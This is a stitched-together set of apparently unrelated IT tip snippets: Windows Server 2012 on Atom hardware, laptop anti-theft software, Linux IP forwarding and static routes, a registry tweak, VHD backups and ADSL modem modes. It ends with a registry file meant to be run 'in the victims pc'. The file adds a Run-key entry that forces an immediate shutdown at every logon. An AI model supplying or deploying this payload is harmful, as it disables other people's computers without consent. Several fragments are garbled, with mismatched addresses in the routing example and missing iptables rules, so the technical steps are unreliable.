Microsoft’s hardware requirements for Windows Server 2012 are absolutely ridiculously low.
Microsoft Windows Server 2012 Hardware Requirements
Throw a 32GB boot drive in my Intel Atom based pfsense appliance and the minimum specifications have been exceeded! I can tell you, Windows Server 2008 R2 on the Atom is a painful experience, so go get something faster if you are building a Windows Server 2012 machine. Sure, the Windows Server 2012 hardware requirement specs say you can do it, but would you really want to? I tried this with the release candidate and reached the same conclusion, spend a few dollars more and do not go Atom with Windows Server 2012. Note, I do have a very different opinion on the viability of the Atom platform for things like Linux web servers, but for Server 2012, get something a bit better.
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convert and display the file results on the web page.
if your laptop was stolen ... This trick can be useful. It will help you
locate your computer to see who is using it and to take photos of the
latter if you device comes with an integrated web cam ....
This software must be installed on your computer, so once the computer is stolen it will not be possible to use them!
Some software are still active if the computer has been formatted, others not.
Assumptions: eth0 is internet interface
(connected to router for example) and eth1 connected to your internal
lan (connected to your HUB/Switch for example).
My Linux eth0 --> Internet
box eth1 --> Lan
Step1.
Turn on ip forwarding in kernel
open the file /etc/sysctl.conf and
add/modify following line:
net.ipv4.ip_forward = 1
Step2.
Save this configuration using below command
# sysctl -p
Step3.Step:3
Setup IP forwarding and Masquerading (to act as router), you need to
use NAT option of iptables as follows (add following rules to your
iptables shell script) :
Step4. We
are done with configuration part , Test it with ping or dig:
# ping ISPdomain.com
# dig yahoo.com
HowToSetthestaticRouteinLinux:- Scenario:-We have two lan cards and assigned below mentioned ips
eth0 LAN network 172.0.0.0/8 - gateway IP –
172.8.2.65
eth1 ISP assigned network 202.54.22.128/28 - gateway
IP – 202.54.22.129
So we can only ping /access to public server but
not the another servers inside LAN , for the solution of this
problem we will set the route with route command and
static-route file.
Set route using route command
Type the following command:
# route add -net 172.0.0.0 netmask 255.0.0.0 gw 172.8.2.65
eth0
# route -n
The problem with the above 'route' command is that, when linux
machine reboots it will forget static routes. So store them in
configuration file:
# echo '10.0.0.0/8 via 10.8.2.65'
>> /etc/sysconfig/network-scripts/route-eth0
Restart the network service
# service network restart
Verify new changes:
# route -n
# ping 172.8.2.65
# ping 172.8.2.10
# ping google.com
# traceroute google.com
# traceroute 172.8.2.10
Understanding Routing Table
What is Routing Table ?
Almost all computers and network devices
connected to Internet use routing tables to compute the next hop for a
packet. It is electronic table that is stored in a router or a networked
computer. The routing table stores the routes (and in some cases,
metrics associated with those routes) to particular network
destinations. This information contains the topology of the network
immediately around it. The construction of routing table is the primary
goal of routing protocols and static routes.
Each Linux / UNIX / Windows or any computer
that uses TCP/IP need to make routing decision. Routing table is
used to control these decisions. To display routing table type the
following command at UNIX / Linux shell prompt:
# netstat -r -n
OR # route -n
Sample output:
Kernel IP routing table
Destination
Gateway
Genmask
Flags
Metric
Ref
Use
Iface
192.168.2.0
0.0.0.0
255.255.255.0
U
0
0
0
eth0
192.168.1.0
0.0.0.0
255.255.255.0
U
0
0
0
ra0
169.254.0.0
0.0.0.0
255.255.255.0
U
1000
0
0
eth0
0.0.0.0
0.0.0.0
0.0.0.0
UG
100
0
0
ra0
Flag G indicates path to route packets via a
gateway. If you would like to visit yahoo.com from your computer you
need to go via 192.168.1.1 gateway. This usually means that you have
to set up a static route to the gateway beforehand. If you specify
the address of one of your local interfaces, it will be used to
decide about the interface to which the packets should be routed to.
metric field used by routing daemons. This is required on large LAN
and wan setups. The output of the kernel routing table is organized
in the following columns:
Whenever you make a change to your windows you have to press
F5 or do a manual refresh.
With this tweak you can tell windows to increase the rate at which it does the
refreshing.
Navigate to the key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Update. Create a newDWORD
value,
or modify the existing value, named UpdateMode and set it to equal
"0" for faster updates. Restart Windows for the change to take effect
You can create a VHD from the Disk
Management Console
As you know, using external
hard disks as backup devices has become very popular recently due to the fact
that they are now relatively inexpensive to purchase or build. I use several of
them for backups on my home and test systems.
The other day I was experimenting with Windows XP Mode on my Microsoft Windows
7 test system and was backing up my Windows XP Mode virtual machine and the
accompanying virtual hard disk (VHD), when it occurred to me that I could use a
VHD as a backup device.
Once I began experimenting with this technique, I knew that it would be perfect
complement to my overall backup strategy. I don't trust a single backup device
and like to have multiple backups just in case. Using VHDs, I can easily back
up my data and then just copy the VHD file to another external device.
In this edition of the Windows Desktop Report, I'll show you how to create and
use a VHD as a backup device.
Getting started
Because the technology is built right into the Windows 7 operating system, you
don't have to install Windows Virtual PC to create a VHD - you can do it right
from the Disk Management Console or even from the command line with the
Diskpart command. Let's take a look at the procedure using the Disk Management
Console. (I'll go over the Diskpart command procedure at a later time.)
To get started, click the Start button and type Diskmgmt.msc in the Start
Search box and then press [Enter]. When the Disk Management Console appears, as
shown, you're ready to create your VHD.
You'll then need to specify a location,
name, and size for your VHD
Creating a VHD
Pull down the Action menu and select the Create a VHD command. When you do,
you'll see the Create and Attach Virtual Hard Disk dialog box. You'll then need
to specify a location and name by clicking the Browse button. You then will
specify a size. The Size drop down will allow you to select the size of the VHD
in MB, GB, and, TB. As you can see in Figure B, I set up a 40GB VHD called My
VH Disk in the Documents folder.
You'll see a progress gauge at the bottom of
the Disk Management Console window
You can specify the format be either Dynamically expanding
or Fixed size. The latter is the default and is the option I chose for my VHD.
A fixed size VHD will create a file that is the same size as the virtual disk.
For example, if you create fixed VHD that is 40GB in size, the system will
create a host file approximately 40GB in size.
A dynamically expanding VHD will create a file that at any given time is as
large as the actual data written to it plus the size of the header and footer.
For example, if you create a virtual hard disk that is 40GB in size, the system
will create a host file approximately 80MB in size. As more data is written,
the file dynamically increases in size by allocating more disk space from the
host hard disk.
For the purposes of creating a virtual Back up device, either format is fine.
When you click OK, the Disk Management Console will begin creating the VHD.
Depending on the size that you selected, it may take a little while to create
the VHD. You'll see a progress gauge at the bottom of the Disk Management
Console window, as shown.
When you select the command you'll see the
Initialize Disk dialog box
Once the VHD is created, right click on its header panel on
the left side and select the Initialize Disk command and you'll see the
Initialize Disk dialog box, as shown. You'll see that your new disk is already
selected and since the GPT partition style is designed for 2TB disks or
Itanium-based computers, just go with the default MBR partition style and click
OK.
When you select the command and you'll see
the New Simple Volume Wizard
As you may know, MBR is the standard partitioning style
that's been used on hard disks since the PC first came out. (Just FYI: MBR
supports a maximum partition size of 2TB. GPT supports a maximum partition size
of 256TB.)
Initializing the disk is a very quick operation. Once it is complete right
click on right side and select the New Simple Volume command and you'll see the
New Simple Volume Wizard, as shown.
When you complete the wizard, an AutoPlay
dialog box will appear and prompt you to open the new drive
There are five steps in this wizard and you can just accept
all the default settings and click through to the end. When you do, the disk
will be formatted as an NTFS volume and an AutoPlay dialog box will appear and
prompt you to open the new drive, as shown.
You can locate and copy your VHD file to
multiple locations.
Implementing the VHD backup
strategy
To back up your data to the VHD, you can simply copy the files and folders from
your hard disk to the VHD or you can use Windows 7's Backup and Restore to
actually create its backup file on the VHD. You can then locate the actual VHD
file, as shown, and copy it to an external hard disk or to a network drive.
You can locate and copy your VHD file to multiple locations.
There are two ways to configure an
ADSL modem for broadband connection. One in PPPoE (Point to Point Protocol over
Ethernet) and the another is Bridge mode.
PPPoE Mode
In this mode the modem works as
router and the PPPoE session terminates on WAN port of router. The PPPoE client
is in built in the modem and allocated by BRAS server gets assigned to WAN port
of modem. The Internal network has to use the private IP and for Internet
access NATing happens in modem. In PPPoE mode the modem is configured in such a
way that the user id and password are stored inside the Modem. Internet
connection will be established as you switch on the Modem.
PPPoE
Mode
Bridge Mode
In this mode the modem works as
transparent Ethernet bridge and therefore you need to run the PPPoE client
software ( for login authentication) on your PC/server. WIN XP systems have
this feature inbuilt but for other operating systems you need to buy it from
market. Some freeware like RASPPPoE, Enternet etc. are also available on the
Internet.
bridge mode
Both the modes can be used as per
the requirement and application. Here enumerating the main differences
PPPoE mode
1. User id and password stored
inside the Modem.
2. Multiple PCs can be connected.
For example most of the basic ADSL Modems having at least one ADSL port and one
USB port. In PPPoE mode, can connect one PC to Ethernet port and one PC to USB
port which enable simultaneous internet usage in both the PCs.
3. PPPoE mode is more secured.
4. For Torrents download,
appropriate ports need to be forwarded.
Bridge Mode
1. In bridge mode user id and password to be entered in the dialer of computer.
2. Only single PC can be connected.
3. For torrents
download port forwarding is not required.
4. Less secured because all the ports are open need good firewall to avoid
virus infection.
put this followin text in a .reg
file and run it in the victims pc:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\W
indows\CurrentVersion\Run]
"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz
this new Virus ah\" -f"
DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you,
start windows in safe mode, and open registry editor by typiing REGEDIT in
start->run. navigate to
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
and remove
the string value named VIRUS, restart you computer.
